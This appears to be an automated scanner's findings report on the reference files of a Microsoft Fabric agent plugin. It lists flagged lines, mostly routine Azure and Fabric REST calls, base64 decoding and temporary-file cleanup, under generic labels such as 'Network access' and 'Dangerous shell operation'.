harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/ONTOLOGY-AUTHORING-CORE.md
- Network accessline 210
"workspaceId": "580f410e-733d-43bd-8a87-be12b536f7ff", "itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd", "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com", - Network accessline 211
"itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd", "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com", "databaseName": "Zava_Telemetry", - Network accessline 212
"clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com", - Network accessline 295
{ "displayText": "Install guide", "url": "https://example.com/guide" } - Network accessline 323
All calls target `https://api.fabric.microsoft.com` and require the `https://api.fabric.microsoft.com` token audience.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/authoring-mechanics.md
- Network accessline 84
1. A `.platform` JSON with `{ "metadata": { "type": "Ontology", "displayName": "<name>" } }`. 2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode e - Network accessline 85
2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/ite - Network accessline 86
3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/items`. - Network accessline 87
4. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (from the `x-ms-operation-id` header) until `Succeeded`; capture the new ontology item ID. - Network accessline 91
> ```bash > ONTO_ID=$(az rest --method GET \ > --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 92
> ONTO_ID=$(az rest --method GET \ > --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ > --resource "https://api.fabric.microsoft.com" \ - Network accessline 93
> --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 94
> --resource "https://api.fabric.microsoft.com" \ - Network accessline 96
> ``` > > To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capt - Network accessline 98
> To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capture](../ - Network accessline 317
> **`getDefinition` typically returns 202 (LRO)**, not 200 with inline data. You must: > 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: - Network accessline 318
> 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"` > 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/re - Network accessline 319
> 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"` - Network accessline 320
> 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result` to retrieve the actual definition envelope > > Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` heade - Network accessline 322
> Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` header — the latter redirects to an `analysis.windows.net` host that fails `az rest --resource https://api.fabric.microsoft.com` - Network accessline 329
# script in definition-script-templates.md. az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 330
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" - Network accessline 331
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 332
--resource "https://api.fabric.microsoft.com" \ - Network accessline 339
# 3. Send the updated envelope (also LRO — poll the Location header) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \ - Network accessline 340
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" - Network accessline 341
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \ - Network accessline 342
--resource "https://api.fabric.microsoft.com" \ - Network accessline 347
Both `createItem` and `updateDefinition` return **long-running operations**. `getDefinition` is also LRO-capable — it may return the envelope directly (`200 OK`) **or** a `202 Accepted` carrying an `x-ms-operation-id` header; in the 202 cas - Network accessline 359
# returns 202, fall back to the LRO-aware script in definition-script-templates.md. az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 360
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" - Network accessline 361
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 362
--resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/definition-script-templates.md
- Network accessline 14
`getDefinition` is long-running-operation-capable: it may return **200 OK** with the envelope inline, or **202 Accepted** with an `x-ms-operation-id` header. For 202, poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until - Network accessline 20
: "${WS_ID:?set WS_ID}"; : "${ONTO_ID:?set ONTO_ID}" WORK=$(mktemp -d) FABRIC_BASE="https://api.fabric.microsoft.com" - Network accessline 21
[Credential-related source omitted] - Network accessline 22
FABRIC_BASE="https://api.fabric.microsoft.com" - Network accessline 25
# 1. Fetch current definition (handle 200 or 202 LRO) getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \ - Network accessline 26
getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \ - Network accessline 35
[Credential-related source omitted] - Network accessline 36
[Credential-related source omitted] - Network accessline 37
[Credential-related source omitted] - Network accessline 39
[Credential-related source omitted] - Network accessline 40
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Network accessline 43
[Credential-related source omitted] - Network accessline 44
[Credential-related source omitted] - Network accessline 45
[Credential-related source omitted] - Network accessline 65
# Note: base64 -w 0 is GNU-only; on macOS use `base64 | tr -d '\n'`. PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \ - Network accessline 66
PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \ '{path:$path,payload:$payload,payloadType:"InlineBase64"}' - Network accessline 67
jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \ - Network accessline 73
# 5. Send update (also an LRO — poll Location until Succeeded) upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \ - Network accessline 74
upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \ - Network accessline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Network accessline 86
[Credential-related source omitted] - Network accessline 88
[Credential-related source omitted] - Network accessline 89
[Credential-related source omitted] - Network accessline 90
[Credential-related source omitted] - Network accessline 101
> Both `getDefinition` and `updateDefinition` are LRO-capable; the template above captures `x-ms-operation-id` and polls `https://api.fabric.microsoft.com/v1/operations/{id}` (not the `Location` redirect host). See COMMON-CLI.md § Long-Runn - Network accessline 114
$work = New-Item -ItemType Directory -Path (Join-Path $env:TEMP ("onto-" + [guid]::NewGuid())) $base = "https://api.fabric.microsoft.com" - Network accessline 115
$base = "https://api.fabric.microsoft.com" - Network accessline 119
# 1. Fetch (handle 200 or 202 LRO) - Possible obfuscationline 144
[IO.File]::WriteAllBytes($out, [Convert]::FromBase64String($p.payload))
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/examples.md
- Network accessline 25
# Alternative: Fabric Tables API (table names only — no columns) az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \ - Network accessline 26
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" - Network accessline 27
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \ - Network accessline 28
--resource "https://api.fabric.microsoft.com" - Network accessline 37
[Credential-related source omitted] - Network accessline 39
# FASTEST: get ALL table schemas in the database in one call curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \ - Network accessline 40
curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \ - Network accessline 79
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 81
--resource "https://api.fabric.microsoft.com" \ - Network accessline 86
> Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (capture `x-ms-operation-id` via `--verbose`) until `Succeeded`, then resolve `ONTO_ID` by listing `Ontology` items in the workspace. Do not poll the raw `Location` heade - Network accessline 99
# --- Build the new parts --- ET_JSON=$(jq -nc \ - Network accessline 100
ET_JSON=$(jq -nc \ - Network accessline 112
BIND_JSON=$(jq -nc \ - Network accessline 146
REL_JSON=$(jq -nc --arg id "$OPERATES_REL_ID" --arg src "$HUB_ET_ID" --arg tgt "$AIRCRAFT_ET_ID" \ - Network accessline 150
CTX_JSON=$(jq -nc \ - Network accessline 177
# entries to timeseriesProperties[], base64-encode, splice back in. Pseudo # below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \ - Network accessline 178
# below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \ --arg tsId "$AIRCRAFT_TS_TIMESTAMP_ID" \ - Network accessline 179
TS_PROPS_JSON=$(jq -nc \ - Network accessline 189
# are both required (CORE: timeseriesProperties must include a timestamp # property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \ - Network accessline 190
# property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \ --arg id "$TS_BIND_GUID" \ - Network accessline 191
TS_BIND_JSON=$(jq -nc \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/preview-and-confirm.md
- Network accessline 202
# Step A — fetch current state (after Step 3 of the workflow) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 203
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" - Network accessline 204
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \ - Network accessline 205
--resource "https://api.fabric.microsoft.com" -o json > /tmp/onto.current.json
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption.md
- Network accessline 17
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs before enumera - Network accessline 18
| Fabric Topology & Key Concepts | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts) | Workspace → Item hierarchy - Network accessline 19
| Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition) | Use `https://api.fabric.microsoft.com` audience for contr - Network accessline 22
| Rate Limiting & Throttling | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling) | - Network accessline 23
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login`; token acquisition - Network accessline 24
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always** pass `--resource https://api.fabric.microsoft. - Network accessline 80
- Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`). - Network accessline 86
`Get Item Definition` is Long-Running-Operation-capable. Depending on tenant/SKU, the POST may return the definition envelope inline (`200 OK`) **or** return `202 Accepted` with an `x-ms-operation-id` header; for the 202 case, poll `https:/ - Network accessline 88
> **Ontology-preview gotcha — prefer polling the `operations/{id}` endpoint over the `Location` header.** The public Fabric LRO contract supports either, but on this Ontology LRO the `Location` header has been observed redirecting to an `*. - Network accessline 208
| Symptom | Fix | |---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto. - Network accessline 209
|---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for E - Network accessline 210
| `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for EH). | - Dangerous shell operationline 228
| Situation | Inline (`az rest` / `curl`) | Python / shell script |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/examples.md
- Network accessline 18
WS_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 19
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 20
--resource "https://api.fabric.microsoft.com" \ - Network accessline 23
ONT_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 24
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ - Network accessline 25
--resource "https://api.fabric.microsoft.com" \ - Dangerous shell operationline 207
rm -rf ./_ont
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/graph-walks.md
- Network accessline 46
Import-Module Az.Accounts $FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token - Network accessline 47
$FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token - Network accessline 48
$STOK = (Get-AzAccessToken -ResourceUrl "https://storage.azure.com" -WarningAction SilentlyContinue).Token - Network accessline 49
# Optional, for KQL: $KTOK = (Get-AzAccessToken -ResourceUrl "https://kusto.kusto.windows.net" ...).Token - Network accessline 59
$specs = @(@{key="anchor";lh=$lhId;tbl="panels"}) + $linkSpecs + $neighborSpecs $results = $specs | ForEach-Object -Parallel { $u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv" - Network accessline 60
[Credential-related source omitted] - Network accessline 61
$u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/grounding-extraction.md
- Network accessline 20
# 1. Kick off the LRO, capture the operation id (stays on api.fabric.microsoft.com) OP_ID=$(az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \ - Network accessline 21
OP_ID=$(az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" - Network accessline 22
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \ - Network accessline 23
--resource "https://api.fabric.microsoft.com" \ - Network accessline 29
exit 1 fi OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}" - Network accessline 31
OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}" - Network accessline 33
# 2. Poll until Succeeded (prefer the operations endpoint; Location polling is also supported with the right audience) while :; do STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status - Network accessline 34
while :; do STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status') case "$STATE" in - Network accessline 35
STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status') - Network accessline 37
Succeeded) break ;; Failed|Cancelled) echo "LRO ended in state: $STATE" >&2; \ az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;; - Network accessline 38
Failed|Cancelled) echo "LRO ended in state: $STATE" >&2; az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;; - Network accessline 39
az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;; - Network accessline 44
# 3. Retrieve the result DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com") - Network accessline 45
DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com") - Possible obfuscationline 54
printf '%s' "$P_PAYLOAD" | python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" - Possible obfuscationline 55
| python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" \ - Network accessline 75
# 1. Kick off LRO; az rest emits the x-ms-operation-id header on the debug channel $verbose = az rest --method POST ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" ` - Network accessline 76
$verbose = az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" - Network accessline 77
--url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" ` - Network accessline 78
--resource "https://api.fabric.microsoft.com" ` - Network accessline 81
$opId = ($verbose -split "`n" | Where-Object { $_ -match 'x-ms-operation-id:\s*(\S+)' } | ForEach-Object { $matches[1] } | Select-Object -First 1) if (-not $opId) { throw "No x-ms-operation-id captured from getDefinition" } $opUrl = "https: - Network accessline 83
$opUrl = "https://api.fabric.microsoft.com/v1/operations/$opId" - Network accessline 85
# 2. Poll the operations endpoint (preferred; Location polling is also supported with the right audience) while ($true) { $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 86
while ($true) { $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json $state = $op.status - Network accessline 87
$op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 97
# 3. Retrieve result $def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 98
$def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Possible obfuscationline 105
$bytes = [Convert]::FromBase64String($part.payload)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/query-pattern.md
- Network accessline 9
- **SQL (Lakehouse/Warehouse)**: `https://database.windows.net/.default` - Network accessline 11
- **KQL (Eventhouse)**: `https://kusto.kusto.windows.net/.default` (NOT `kusto.fabric.microsoft.com`) - Network accessline 13
- **Fabric REST API**: `https://api.fabric.microsoft.com/.default` - Network accessline 45
- Kusto URI discovery: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/kqlDatabases/{db_id}` → `properties.queryServiceUri` - Network accessline 63
- List workspace items: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items`
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/routing.md
- Network accessline 214
| Delegate returns 0 rows on a non-empty source | Casing mismatch on `sourceTableName` or stale `clusterUri` | Compare binding fields to live source; if still mismatched, switch to `fabriciq-ontology-cli` authoring mode | | Delegate times o - Network accessline 215
| Delegate times out | Missing time filter on `TimeSeries` | Add `where <timestampColumnName> > ago(…)` / `>= DATEADD(...)`, retry | | Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check - Network accessline 216
| Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check the delegate's own connection contract (EH: `https://kusto.kusto.windows.net`; Spark: Fabric token; SQL: Fabric token) |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/SKILL.md
- Network accessline 28
> workspace, then filter by `displayName`. > 2. All Git operations are **control plane** calls against > `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` - Network accessline 29
> 2. All Git operations are **control plane** calls against > `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` > sets the base URL and Fabric token audience automatically. With the `az rest` - Network accessline 30
> `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` - Network accessline 119
- `fab api` (after `fab auth login`) as the **primary** driver: it sets the base URL and Fabric token audience automatically, avoiding the 401 wrong-audience trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as th - Network accessline 120
URL and Fabric token audience automatically, avoiding the 401 wrong-audience trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the **fallback** when `fab` is unavailable or you need fine-grained header control. - Network accessline 121
trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the - Network accessline 154
- `fab api <endpoint>` becomes `az rest --method GET --url "https://api.fabric.microsoft.com/v1/<endpoint>" --resource "https://api.fabric.microsoft.com"`. - Network accessline 175
| Workspace has capacity | `fab api "workspaces/${WORKSPACE_ID}"` → check `capacityId` | `WorkspaceHasNoCapacityAssigned` → assign a capacity (Git requires one) | | Git credential for the SP path | `fab api connections` (reuse if one alread - Network accessline 177
[Credential-related source omitted] - Network accessline 223
[Credential-related source omitted] - Network accessline 224
[Credential-related source omitted] - Network accessline 225
[Credential-related source omitted] - Network accessline 226
> "https://api.github.com/repos/${OWNER}/${REPO}/contents/${DIR}/README.md" -d @mkfolder.json - Network accessline 267
git provider credentials, then pass its `id` as the `connectionId` in the `myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 268
`myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) (`POST /v1/connections`, delegated scope `Connection.ReadWrite.All`). A service - Network accessline 269
[Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) - Network accessline 274
**Information you must supply (Azure DevOps):** - ADO **organization**, **project**, and **repository** names, combined into one `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - Network accessline 275
- ADO **organization**, **project**, and **repository** names, combined into one `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - The service principal's **tenant ID**, **client (application) ID**, and - Network accessline 276
`url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - Dangerous shell operationline 290
trap 'rm -f connection.json' EXIT - Network accessline 299
"parameters": [ { "dataType": "Text", "name": "url", "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" } - Network accessline 300
{ "dataType": "Text", "name": "url", "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" } ] - Network accessline 301
"value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" } - Network accessline 595
| Operation returns `202` then nothing changes | Async not yet complete | Poll `operations/{id}` (from `--show_headers`), or poll `git/status` until heads match | | Operation stuck in `Running` for a long time | Large workspace or a second - Network accessline 596
| Operation stuck in `Running` for a long time | Large workspace or a second Git op is queued | Keep polling with a sane timeout (about 10 min); never start a second Git op concurrently | | `401 Unauthorized` | Wrong token audience | Run `f - Network accessline 597
| `401 Unauthorized` | Wrong token audience | Run `fab auth login` (fab sets the audience automatically); on the `az rest` fallback pass `--resource https://api.fabric.microsoft.com` | - Network accessline 622
# status az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \ - Network accessline 623
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" - Network accessline 624
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \ - Network accessline 625
--resource "https://api.fabric.microsoft.com" - Network accessline 627
# commit (body inline) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \ - Network accessline 628
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" - Network accessline 629
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \ - Network accessline 630
--resource "https://api.fabric.microsoft.com" \
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/automation-templates.md
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/git-integration-concepts.md
- Network accessline 154
- [Overview of Fabric Git integration](https://learn.microsoft.com/fabric/cicd/git-integration/intro-to-git-integration) (providers, supported items; updated 2026-07-08). - Network accessline 155
- [Git integration process](https://learn.microsoft.com/fabric/cicd/git-integration/git-integration-process) (concepts, sync, folders, permissions; updated 2026-07-08). - Network accessline 156
- [Git integration admin settings](https://learn.microsoft.com/fabric/admin/git-integration-admin-settings) (tenant switches; updated 2026-07-01).
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/code-patterns.md
- Network accessline 124
# BEFORE — HDInsight: copy file via HDFS API from hdfs import InsecureClient client = InsecureClient("http://namenode:50070") - Network accessline 125
from hdfs import InsecureClient client = InsecureClient("http://namenode:50070") client.copy("/data/input/file.csv", "/data/archive/file.csv") - Network accessline 126
client = InsecureClient("http://namenode:50070") - Network accessline 143
[Credential-related source omitted] - Network accessline 144
[Credential-related source omitted] - Network accessline 145
"https://mykeyvault.vault.azure.net/", - Network accessline 171
<shell> <exec>curl</exec> <argument>-X POST https://api.example.com/trigger</argument> - Network accessline 172
<exec>curl</exec> <argument>-X POST https://api.example.com/trigger</argument> </shell> - Network accessline 173
<argument>-X POST https://api.example.com/trigger</argument> - Network accessline 184
"type": "WebActivity", "typeProperties": { "url": "https://api.example.com/trigger", - Network accessline 185
"typeProperties": { "url": "https://api.example.com/trigger", "method": "POST", - Network accessline 186
"url": "https://api.example.com/trigger",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/path-migration.md
- Network accessline 66
The [OneLake shortcut overview](https://learn.microsoft.com/en-us/fabric/onelake/onelake-shortcuts) - Network accessline 67
lists the supported shortcut sources. The [on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut) limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google - Network accessline 68
[on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut) - Network accessline 69
limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connecto - Network accessline 70
Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview) documents HDFS as a Copy activity and Copy job sou - Network accessline 71
The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/SKILL.md
- Network accessline 88
| Target | Token Audience | |---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | - Network accessline 89
|---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | | Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` | - Network accessline 90
| Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | - Network accessline 91
| Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` | - Network accessline 92
| Fabric REST API (create pipelines, connections, Variable Libraries) | `https://api.fabric.microsoft.com` | - Network accessline 98
| Operation | Endpoint | |---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | - Network accessline 99
|---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | | Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` | - Network accessline 100
| List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | - Network accessline 101
